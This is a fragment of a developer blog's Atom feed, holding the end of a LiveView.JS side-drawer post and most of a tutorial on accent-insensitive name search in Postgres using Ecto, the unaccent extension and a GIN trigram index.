#e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;z-10 absolute&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer-content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;w-60&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;lbrace;toggle_drawer(&lt;/span&gt;&quot;#drawer&quot;, &quot;flex&quot;)&amp;rbrace;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;.icon name&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&quot;hero-arrows-right-left&quot; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;button&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is how the transition looks like with a single button:&lt;br /&gt;
&lt;img src=&quot;/gifs/drawer-toggle.gif&quot; alt=&quot;An gif that shows the sidedrawer animation&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/animate-a-side-drawer-with-live-view-js"/>
    <id>https://peterullrich.com/animate-a-side-drawer-with-live-view-js</id>
    <title>Animate a Side Drawer with LiveView.JS</title>
    <updated>2023-08-19T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, welcome back to another blog post!&lt;/p&gt;
&lt;p&gt;Did you know that:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;When you go into the bathroom, you&amp;#39;re American.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;When you come out of the bathroom, you&amp;#39;re American.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;But what are you IN the bathroom?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;European!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways, today&apos;s blog post touches on a topic that I&apos;ve written about plenty already. It&apos;s about &lt;a href=&quot;https://peterullrich.com/complete-guide-to-full-text-search-with-postgres-and-ecto&quot;&gt;efficient&lt;/a&gt; &lt;a href=&quot;https://peterullrich.com/efficient-name-search-with-postgres-and-ecto&quot;&gt;name search&lt;/a&gt; in Postgres, but &lt;strong&gt;with a twist!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;In previous articles, I wrote about how to do an efficient name search in Postgres using &lt;code&gt;GIN&lt;/code&gt; indexes. These work great, but once your user base becomes international, you have to deal with all the weird things other cultures add to their words. Like adding little ticks, arrows, dots, and waves above them, like &lt;code&gt;José&lt;/code&gt;, &lt;code&gt;être&lt;/code&gt;, &lt;code&gt;Blömschen&lt;/code&gt;, and &lt;code&gt;São&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The problem with these special symbols is that they break your text search. For example, if I want to search for &lt;code&gt;José&lt;/code&gt; in my application, I might only type &lt;code&gt;Jose&lt;/code&gt; (without the accent). But Postgres treats &lt;code&gt;é&lt;/code&gt; and &lt;code&gt;e&lt;/code&gt; differently and won&apos;t return a user called &lt;code&gt;José&lt;/code&gt;. For Postgres, &lt;code&gt;Jose&lt;/code&gt; and &lt;code&gt;José&lt;/code&gt; are not the same.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/unaccented-name-search/hose.png&quot; alt=&quot;A meme with a hand holding a hose and the text above it &apos;hose&apos;. Then, another hand holding another hose with the text &apos;hosé&apos; above it. The second hose wears a little sombrero.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is bad UX and not what we want. We want to return &lt;code&gt;José&lt;/code&gt; even though the search term was &lt;code&gt;Jose&lt;/code&gt;, so what can we do?&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Luckily, Postgres offers a function called &lt;a href=&quot;https://www.postgresql.org/docs/current/unaccent.html&quot;&gt;unaccent&lt;/a&gt; for exactly this situation. It allows Postgres to treat words with and without accent equally (e.g. &lt;code&gt;é&lt;/code&gt; and &lt;code&gt;e&lt;/code&gt;). Let&apos;s see how we can use it in Ecto.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h3&gt;
&lt;p&gt;This is our search function without &lt;code&gt;unaccent&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;ilike&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This function won&apos;t return a person with the name &lt;code&gt;José&lt;/code&gt; if we search for &lt;code&gt;Jose&lt;/code&gt;. Likewise, it won&apos;t return a person with the name &lt;code&gt;Jose&lt;/code&gt; (no accent) if we search for &lt;code&gt;José&lt;/code&gt; (with an accent). Let&apos;s fix the function.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migration&quot;&gt;&lt;/a&gt;The Migration&lt;/h3&gt;
&lt;p&gt;First, we need to add a new extension to Postgres. Add the following to a migration of your choosing:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;CREATE EXTENSION IF NOT EXISTS unaccent;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DROP EXTENSION IF EXISTS unaccent;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you run the migration, it will add the &lt;code&gt;unaccent&lt;/code&gt; extension to your Postgres instance. From now on, we can use the function &lt;code&gt;unaccent&lt;/code&gt; in our query.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-slow-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-slow-solution&quot;&gt;&lt;/a&gt;The slow Solution&lt;/h3&gt;
&lt;p&gt;Now, let&apos;s update our query function from above. We simply have to wrap the person&apos;s name and the search term with &lt;code&gt;unaccent&lt;/code&gt; and Postgres will take care of the rest. This is how our search function looks now:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;unaccent(?) ILIKE unaccent(?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From now on, our &lt;code&gt;search/1&lt;/code&gt; function will also return a person called &lt;code&gt;José&lt;/code&gt; when we search for &lt;code&gt;Jose&lt;/code&gt;, &lt;code&gt;jose&lt;/code&gt;, &lt;code&gt;José&lt;/code&gt;, or &lt;code&gt;josé&lt;/code&gt;. It will also return a person called &lt;code&gt;Jose&lt;/code&gt; (unaccented) if we search for &lt;code&gt;Josè&lt;/code&gt; (accented). Great success!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-fast-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-fast-solution&quot;&gt;&lt;/a&gt;The Fast Solution&lt;/h3&gt;
&lt;p&gt;Sadly, there is one problem with our solution above: It&apos;s slooooooooow 🐌.&lt;/p&gt;
&lt;p&gt;If you have read my post about &lt;a href=&quot;https://peterullrich.com/efficient-name-search-with-postgres-and-ecto&quot;&gt;efficient name search&lt;/a&gt;, you know that we can speed up our query significantly by adding a &lt;code&gt;GIN&lt;/code&gt; index to it. Let&apos;s add a GIN index but for the unaccented version of the names in our database.&lt;/p&gt;
&lt;p&gt;First, we need to create an immutable version of Postgres&apos; &lt;code&gt;unaccent&lt;/code&gt; function. If you use a function in a Postgres index, it must be &lt;a href=&quot;https://www.postgresql.org/docs/current/xfunc-volatility.html&quot;&gt;IMMUTABLE&lt;/a&gt;. That means that the function cannot alter the database and will always return the same value given the same arguments.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;unaccent&lt;/code&gt; function is not &lt;code&gt;IMMUTABLE&lt;/code&gt;, but &lt;code&gt;SOLID&lt;/code&gt;. That means that it can&apos;t change the database and will always return the same result given the same arguments, but its result &lt;strong&gt;might&lt;/strong&gt; change across SQL statements. Imagine that I want to fetch the current time. That function would rely on the &lt;code&gt;timezone&lt;/code&gt; of my database. If I fetch the time once, change my database timezone, and fetch the time again, the results will change. The same goes for the &lt;code&gt;unaccent&lt;/code&gt; function because it depends on the dictionary that I use in my database. If I change my dictionary, the result of &lt;code&gt;unaccent&lt;/code&gt; might change, and therefore the function is only &lt;code&gt;SOLID&lt;/code&gt; and not &lt;code&gt;IMMUTABLE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That means that we can&apos;t use &lt;code&gt;unaccent&lt;/code&gt; directly when creating the index. However, we can create an &lt;code&gt;IMMUTABLE&lt;/code&gt; version of the function if we&apos;re certain to never change the dictionary of our database (which you probably won&apos;t anyways). Let&apos;s do that now.&lt;/p&gt;
&lt;p&gt;In our migration after your &lt;code&gt;CREATE EXTENSION ...&lt;/code&gt; call, add this:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    CREATE OR REPLACE FUNCTION f_unaccent(text)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;        RETURNS text
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        LANGUAGE sql IMMUTABLE PARALLEL SAFE AS
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      $func$
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        SELECT public.unaccent(&amp;#39;public.unaccent&amp;#39;, $1)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      $func$;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DROP FUNCTION IF EXISTS f_unaccent(text);&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have now an immutable function called &lt;code&gt;f_unaccent&lt;/code&gt; which we can use to generate a &lt;code&gt;GIN&lt;/code&gt; index of our &lt;code&gt;person.name&lt;/code&gt; field. Add this after the snippet above:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;CREATE EXTENSION IF NOT EXISTS pg_trgm;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DROP EXTENSION IF EXISTS pg_trgm;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  CREATE INDEX persons_name_unaccented_gin_trgm_idx
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    ON persons
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    USING gin (f_unaccent(name) gin_trgm_ops)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DROP INDEX IF EXISTS persons_name_unaccented_gin_trgm_idx;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
